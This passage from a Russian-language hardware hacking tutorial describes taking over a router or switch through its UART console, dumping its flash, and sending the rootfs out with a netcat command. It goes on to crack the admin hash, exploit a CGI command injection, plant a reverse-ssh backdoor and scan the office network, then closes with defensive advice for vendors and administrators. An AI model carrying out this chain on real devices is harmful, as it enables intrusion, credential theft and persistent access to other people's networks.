Подключаем USB-UART, открываем screen на скорости 115200. Видим лог загрузки U-Boot. Прерываем авто-загрузку (жмем tpl или Enter - надо угадать). Попадаем в U-Boot.
Поскольку мы не знаем, есть ли там пароль на bootloader, но загрузку мы прервали, скорее всего, его нет.
В U-Boot нам не нужен shell Linux, но мы можем инициировать загрузку с нашими параметрами или просто посмотреть переменные.
Но мы хотим сдампить всю flash. Команда flinfo показывает нам, что есть несколько банков flash. Команда cp.b (copy) или md нам не поможет сохранить файл, так как из U-Boot редко можно сохранить на внешний носитель. Поэтому мы просто грузимся дальше, попадаем в Linux shell.
Шаг 3: Дамп из Linux.
В Linux проверяем разделы: cat /proc/mtd. Видим: mtd0: u-boot, mtd1: u-boot-env, mtd2: kernel, mtd3: rootfs.
Делаем дамп всего подряд в /tmp:
Код:
cat /dev/mtd2 > /tmp/kernel.bin
cat /dev/mtd3 > /tmp/rootfs.bin
На ноутбуке поднимаем netcat: nc -l -p 4444; rootfs.bin.
На устройстве отправляем: cat /tmp/rootfs.bin | nc 192.168.1.100 4444.
(Предварительно поднимаем на устройстве интерфейс, например: ifconfig eth0 192.168.1.10 up).
Шаг 4: Офлайн-анализ.
Дома запускаем binwalk на rootfs.bin. Находим Squashfs. Распаковываем. Ищем пароли в etc/shadow - находим хэш администратора. Кладем хэш в hashcat и, если пароль слабый, через пару минут он у нас в руках. Ищем закрытые ключи SSH - находим etc/dropbear/dropbear_rsa_host_key. Сохраняем его.
Шаг 5: Поиск уязвимости для удаленного доступа.
Мы нашли ключ и пароль. Но это для локального входа. Нам нужно заходить удаленно. Анализируем веб-морду в www/. Находим в CGI-скрипте adsl.cgi уязвимость command injection (например, параметр ping не фильтруется). Мы можем отправить специальный запрос на веб-интерфейс и выполнить команду.
Шаг 6: Возврат и закрепление.
Возвращаемся в офис (или действуем удаленно, если у нас есть IP). Отправляем эксплойт через веб-морду, который скачивает и запускает наш бэкдор (например, reverse ssh). Бэкдор подключается к нашему серверу. У нас есть шелл на устройстве.
Шаг 7: Локализация в сети.
С устройства-жертвы (коммутатора/роутера) мы сканируем внутреннюю сеть офиса. Так как устройство сетевое, трафик через него идет легитимно, и мы видим всё. Мы в системе.
Всё это стало возможным благодаря тому, что мы когда-то припаяли три проводка к консоли и сняли дамп. Без этого у нас были бы только догадки.
Часть 21: Ответное действие (или "Как защититься от такого же хакера")
Мы с вами по одну сторону баррикад, но хакер должен уметь не только ломать, но и защищать. Как бы вы защитили своё железо от подобных атак, если бы были производителем? И что делать обычному админу?Советы производителям (которые они игнорируют):
- Отключать UART в релизных прошивках. Не просто не распаивать разъем, а программно отключать UART-контроллер или настраивать пины как GPIO. Это делается в Device Tree или в коде загрузчика.
- Ставить пароль на bootloader. Даже простой пароль остановит 90% "диванных" хакеров.
- Шифровать прошивку. Хотя бы rootfs. Ключи хранить в OTP (одноразово программируемой) памяти процессора.
- Подписывать образы. Чтобы нельзя было загрузить своё ядро через bootloader.
- Выпиливать отладочные строки. Не светить в логах ничего лишнего.
- Физическая безопасность. Серверная должна быть закрыта. Доступ к железу должны иметь только доверенные лица. Это аксиома.
- Инвентаризация. Знать, какое оборудование стоит. Если на каком-то старом роутере есть консольный порт наружу - это проблема.
- Аудит прошивок. Если вы закупаете оборудование, требуйте у вендора информацию о безопасности загрузчика и консоли. Или, если вы энтузиаст, скачивайте прошивку с сайта и прогоняйте её через binwalk и Firmadyne перед тем, как ставить в сеть. Может, там уже есть готовый бэкдор?
- Мониторинг. Следить за нестандартной активностью с сетевого оборудования. Если вдруг коммутатор начал стучаться на внешний IP - это повод для беспокойства.
Эпилог (или "Куда копать дальше")
Друзья, мы с вами прошли огромный путь от голых контактов на плате до эмуляции целых прошивок и поиска в них уязвимостей. Мы убедились, что UART - это не просто интерфейс для отладки, а мощнейший вектор атаки и, что важнее, вектор исследования.Поймите главное: любое сложное устройство - это компьютер. У него есть процессор, память и операционная система. И если у вас есть к нему физический доступ, рано или поздно вы найдете способ заставить его делать то, что вы хотите. Консоль - лишь самый простой и очевидный способ.
Надеюсь, это подтолкнет вас не останавливаться на достигнутом. Берите железки, ковыряйте, ломайте, чините. Учитесь не только пользоваться чужими эксплойтами, но и находить свои. Это единственный способ оставаться на шаг впереди и тех, кто хочет взломать вас, и тех, кто продает вам "защищенное" оборудование.